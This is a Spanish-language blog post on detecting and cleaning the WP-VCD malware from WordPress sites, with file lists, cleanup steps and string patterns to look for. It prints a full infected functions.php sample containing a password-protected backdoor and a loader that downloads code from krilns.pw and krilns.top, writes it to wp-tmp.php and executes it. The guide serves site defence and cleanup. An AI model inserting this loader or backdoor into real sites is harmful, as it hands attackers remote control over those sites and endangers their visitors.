virus wp-vcp

Para nadie es un secreto que los Gestores de contenido, mejor conocidos como Content Managment System (CMS) son una gran ayuda para poder crear y administrar nuestro sitio web. Gracias a ellos, en poco tiempo podemos exhibir al mundo nuestro talento creativo y productivo, sin embargo, los mismos también son blanco de frecuentes ataques informáticos, pese a que para ser honestos, en el mundo digital todos somos vulnerables.

Aunque no queramos admitirlo, muchas veces somos los mismos usuarios quienes con nuestras acciones potenciamos las brechas de seguridad que podemos tener.

Algunas de estas prácticas riesgosas podrían ser:

  • Usar claves inseguras
  • No actualizar themes ni plugins
  • Robar themes y plugins

Ante tales descuidos, quienes pretenden perjudicar nuestras plataformas logran sus cometidos insertando código maliciosos como el WP-VCD, el cual ha ido incrementando su propagación desde el 2017.

Este código tiene la característica de parecer legítimo y almacenarse con nombres de archivos similares a los demás.

Una vez se ha activado WP-VCD empezará su propagación a otras páginas que tengamos alojadas en el mismo hospedaje.

El malware WP-VCD puede ser localizado debido a que el mismo presenta un enlace a una fuente externa así como la generación de archivos como wp-vcd.php y tmp.php

save image
Imagen tomada de wordfence.com

Pasos previos al análisis del sitio web

Como bien sabemos, el comportamiento de los virus es impredicible, en tanto que las estrategias y conocimientos acumulados para su combate pueden ser insufiencientes, debido a que en la medida que se establecen parámetros para localización y destrucción, los encargados en generarlos desarrollan nuevas formas de infección y propagación.

Con ello en mente, procederemos de la siguiente manera:

  • Desconectar los equipos a cualquier fuente de intenet.
  • Realizar una limpieza de nuestros equipos con el antivirus de nuestra confianza.

Aunque sabemos que WP-VCD es un malware que sólo afecta a WordPress, pero estos pasos extras no nos harán ningún daño.

¿Cómo realizar la limpieza?

Lozalizar los archivos infectados, podemos proceder:

  1. Realizar una descarga limpia de WordPress.org
  2. Comparar los archivos del sitio perjudicado y los archivos originales del gestor de contenido.
  3. Identificar cualquier archivo nuevo o desconocido.
  4. Depurar aquellos plugins que no se usen y actualizar los existentes.
  5. Remover el código extraño.

¿Cuáles son los archivos que debemos buscar y limpiar?

  • Wp-vcd.php y Wp-tmp.php en la carpeta wp-includes
  • Functions.php de todos los sitios wp-content/themes/* (incluyendo aquellos que no estén activos y subdominios)
  • class.theme-modules.php
  • Class.wp.php
  • admin.txt
  • codexc.txt
  • code1.php

¿Cuáles son los códigos que estamos buscando?

Dentro del archivo functions.php buscaremos:

<?php if (file_exists(dirname(__FILE__) . '/<b>class.theme-modules.php</b>')) <b>include_once</b>(dirname(__FILE__) . '/<b>class.theme-modules.php</b>'); ?>

Y si estamos usando un childtheme, también buscaremos en el archivo functions cualquier tipo de código, normalmente los temas hijos presentan un código similar al siguiente:

<?php // Defines define( 'FL_CHILD_THEME_DIR', get_stylesheet_directory() ); define( 'FL_CHILD_THEME_URL', get_stylesheet_directory_uri() ); // Classes require_once 'classes/class-fl-child-theme.php'; // Actions add_action( 'wp_enqueue_scripts', 'FLChildTheme::enqueue_scripts', 1000 );

Cualquier adicional, debe ser removido. Los piratas informáticos inyectan URL hacia sus servidores, dominios como krilns[.]com[./]code.php​, ​krilns[.]pw​, ​krilns[.]top, se encuentran en dominios infectados con WP-VCD

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '14b9c3de667ce932a0baec954893d7e8'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='bd77cd4ba9fae84678e6f1b5cf9b9665';
        if (($tmpcontent = @file_get_contents(" ") OR $tmpcontent = @file_get_contents_tcurl(" ")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.krilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.krilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?><?php

// Defines
define( 'FL_CHILD_THEME_DIR', get_stylesheet_directory() );
define( 'FL_CHILD_THEME_URL', get_stylesheet_directory_uri() );

// Classes
require_once 'classes/class-fl-child-theme.php';

// Actions
add_action( 'wp_enqueue_scripts', 'FLChildTheme::enqueue_scripts', 1000 );

Deberemos estar atento a los patrones de cadena como:

  • tmpcontentx
  • function wp_temp_setupx
  • wp-tmp.php
  • derna.top/code.php
  • stripos($tmpcontent, $wp_auth_key)

Una vez identificados y eliminados los códigos, procederemos a analizar nuevamente nuestro sitio web con el escaner de virus del Cpanel.

Es importante cambiar las contraseñas de nuestra base de datos y así como de las claves de usuarios de WordPress.

Recordando que todos los sistemas pueden ser violentados, es nuestro deber realizar análisis periódicos de cada uno de los sitios web que tenemos, no sólo porque los códigos maliciosos dañan nuestra reputación en buscadores sino porque ponemos en riesgo a nuestros usuarios.

Si deseas saber más sobre este tema, puedes leer este White Paper de WordDefense.

Cualquier comentario o sugerencia, puedes dejarlo en los comentarios o escribirnos a contact@srcomunicaciones.net

Leave a Comment